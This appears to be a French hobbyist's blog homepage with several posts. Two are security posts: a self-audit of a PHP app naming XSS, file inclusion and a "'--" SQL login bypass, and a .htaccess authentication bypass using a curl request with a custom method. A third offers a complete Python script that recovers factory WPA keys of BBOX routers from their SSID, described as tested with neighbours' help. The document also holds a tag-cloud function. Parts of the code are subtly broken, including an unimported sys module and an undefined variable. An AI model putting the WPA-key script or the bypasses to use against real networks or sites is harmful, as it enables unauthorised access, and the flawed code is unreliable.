SoBlog, le Web'log de Wumzi: HomePage

Soblog, le blog officiel de Wumzi, fait par Wumzi, pour Wumzi, à la sauce ...

Taknshare ou la sécurité informatique

Comme je progresse en sécurité informatique, je me suis amusé à tester l'application php taknshare codée il y a déjà un an. Bingo ! Un vraie passoire, au menu:

  • Faille XSS en GET et via le formulaire sur le moteur de recherche
  • Faille Include Local sur le index.php : peut inclure n'importe quel script .php sur le serveur !
  • Injection SQL sur l'identifiant au login, qui permet avec "'--" de bypasser le login
  • Faille XSS sur les status, nom et description des albums, des photos, sur le pseudo d'utilisateur

En fait comme rien n'est sécurisé par des mysql_escape & co, tout est potentiellement menacé par une faille XSS, injection SQL.

Seul point positif: il n'y a pas de faille sur l'upload d'image ! parce que:

  • Le MIME type est vérifié (mais ça se bypasse avec TamperData par exemple
  • Je vérifie l'extension

Mais ce n'est peut-être pas suffisant !

Bypasser les .htaccess suite à une mauvaise configuration

Durant mon dernier silence, je me suis remis doucement au "hacking", je vais donc faire quelques articles rapides sur les failles de sécurité web.

La première concerne la fameuse protection .htaccess, réputée inviolable, sauf quand le .htaccess à été mal écrit, en prenant par exemple le .htaccess d'exemple proposé par commentcamarche.net:

AuthUserFile /repertoire/de/votre/fichier/.FichierDeMotDePasse
AuthGroupFile /repertoire/de/votre/fichier/.FichierDeGroupe
AuthName "Accès protégé"
AuthType Basic

<Limit GET POST>

Require valid-user
</Limit>

Le problème vient de:

<Limit GET POST>

Require valid-user
</Limit>

Ce dernier bout de code signifie que le serveur Web (Apache le plus souvent) ne demandera la fameuse authentification si et seulement si la requête est de type GET ou POST, ainsi, en envoyant un autre type de requête, WUMZI par exemple, on pourrait passer outre la sécurité .htaccess. Ce serait bien dommage ... Et malheureusement, beaucoup de webmasters paresseux commettent cette erreur, et ouvrent cette faille.

On peut l'exploiter très facilement avec cURL (sous Unix, pour Windows, je ne sais pas :p):

curl -X WUMZI http://www.domain.tld/restricted/access/via/htaccess

Et je m'en suis servi pour résoudre deux épreuves de NewbieContest ! J'attends de voir un site en situation réelle protégé par htaccess de cette manière avec impatience !

bboWN: Trouver les clés WPA d'usine des BBOX

Et hop, comme le fameux Mickey, j'ai modifié un script python pour trouver les clés WPA des BBOX par défaut, la différence est principalement qu' "avec wumzi c'est gratuit" et open-source bien sûr.

J'en ai profité pour améliorer un peu le code (PEP8), automatiser l'ajout des années et passer le tout en Python3 !

Voilà donc le code, testé et approuvé avec l'aide de voisins:

#!/usr/bin/python3
# -*- coding: utf-8 -*-
#    _____   _____   _____   _          __  __   _  
#   |  _  \ |  _  \ /  _  \ | |        / / |  \ | | 
#   | |_| | | |_| | | | | | | |  __   / /  |   \| | 
#   |  _  { |  _  { | | | | | | /  | / /   | |\   | 
#   | |_| | | |_| | | |_| | | |/   |/ /    | | \  | 
#   |_____/ |_____/ \_____/ |___/|___/     |_|  \_| 
#
# Par Maxime Ernoult alias wumzi <max@wumzi.info> (Mail & XMPP),
# http://www.wumzi.info/
#
# Reprise du code de Hubert Seiwert (hubert.seiwert@nccgroup.com 2008-04-17),
# basé sur le code original en C de Kevin Devine
# (voir http://weiss.u40.hosting.digiweb.ie/stech/)
#
# 
# Permet de retrouver la clé WPA d'usine d'une BBOX à partir de la partie
# hexadécimale du SSID de la BBOX (6 charactères hexadécimaux)
#
# Par exemple, si le SSID est "BBOX-315F26", la partie hexadécimale
# est "315F26"
# Le SSID est en fait composé de la sorte pour les BBOX: "BBOX-" + hexa * 6
#
# Il convient alors de lancer le script suivi de la partie hexadécimale du SSID
# python3 bboWN.py hexa
# Donc dans notre cas:
# python3 bboWN.py 315F26
#
# L'ordinateur va alors chercher toutes les clés WPA possibles pour ce SSID
# (Il peut y avoir plusieurs clés trouvées, à vous de les tester)
#

from datetime import datetime
from hashlib import sha1
from sys import argv

if len(sys.argv) >= 1: 
    ssid_end = argv[1].lower()
else:
    ssid_end = input('Entrez les 6 caractères du SSID:\t').lower()

offset = 40 - len(ssid_end)
charset = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
year_list = range(2007, datetime.now().year + 1)

print('Clés possibles pour le SSID  BBOX-{}:'.format(ssid_end.upper()))
keys = []

def ascii2hex(char):
    return hex(ord(char))[2:]

def hash_it(sn):
    return sha1(sn.upper().encode('utf-8')).hexdigest()

for year in [y - 2000 for y in year_list]:
    for week in range(1,53):
        for char1 in charset:
            for char2 in charset:
                for char3 in charset:
                    sn = 'CP%02d%02d%s%s%s' % (year, week, ascii2hex(char1), ascii2hex(char2), ascii2hex(char3))
                    hash = hash_it(sn)
                    if hash[offset:] == ssid_end:
                        key = hash[0:10].upper()
                        print(key)
                        keys.append(key)
print('Terminé. {} clés WPA possibles trouvées.'.format(len(keys)))

Presence XMPP

Je viens d'integrer au SoBlog un widget pour indiquer ma présence sur XMPP/Jabber, avec un lien xmpp pour me parler directement si l'envie vous prend ;)

Cette fonctionnalité sera présente dans la release 0.1 du SoBlog, et est integré au dépôt mercurial du SoBlog depuis le commit 31

-

Techniquement, je m'appuie sur le service presence.jabberfr.org, qui nécessite d'ajouter le bot de service presence.jabberfr.org dans son roster (contacts). Ce service est propulsé par Omnipresence, codé par Omega, un admin de jabberfr.org.

Pour plus de détails, conferre http://presence.jabberfr.org/api.php.

-

Le problème, est que je "hard-code" ce "plugin" directement dans tpl/sidebar.html. Il faut avant de releaser, que j'écrive un petit système de plugin, suivant les conseils de Paco

TagCloud logarithmique

Voilà le code python qui génère mon TagCloud pour le SoBlog, c'est une reprise du code de Dennis Burke http://dburke.info/blog/logarithmic-tag-clouds/

#!/usr/bin/env python2
# -*- coding: utf-8 -*-

"""
Logarithmic algorithm that gives to each Tag a size in em according
to his amount of posts

Made from the original work of Dennis Burke
<http://dburke.info/blog/logarithmic-tag-clouds/>

Licence Creative Commons By-Nc-Sa 3.0
<http://creativecommons.org/licenses/by-nc-sa/3.0/>
"""

from math import log
from soblog.blog.models import Tag

def lenTagPosts(tag):
    return len([post for post in tag.post_set.all() if post.is_public])

def lenTagsValids(tags):
    return len([tag for tag in tags if lenTagPosts(tag)])

def tagcloud(threshold=0, maxsize=1.75, minsize=.75):
    counts, taglist, tagcloud = [], [], []
    tags = Tag.objects.all()
    if lenTagsValids(tags) > 0:
        if lenTagsValids(tags) > 1:
            for tag in tags:
                if lenTagPosts(tag) >= threshold:
                    counts.append(count)
                    taglist.append(tag)
            maxcount, mincount = max(counts), min(counts)
            constant = log(maxcount - (mincount - 1)) / (maxsize - minsize or 1)
            tagcount = zip(taglist, counts)
            for tag, count in tagcount:
                if maxcount != mincount:
                    size = log(count - (mincount - 1)) / constant + minsize
                else:
                    size = (maxsize + minsize) / 2
                tagcloud.append({'tag': tag, 'size': round(size, 7)})
            return tagcloud
        return [{'tag': tags[0], 'size': ((maxsize + minsize) / 2)}]
    return {}

Côté Template HTML, ça donne:

<p id="TagCloud">
                {% for t in Tags %}
                        &nbsp;
                        <a href="{% url soblog.blog.views.tag t.tag.slug %}" style="font-size: {{ t.size }}em;" >
                            {{ t.tag.name }}
                        </a>
                        &nbsp;
                {% endfor %}
</p>

1 | 2 | 3 | 4 | 5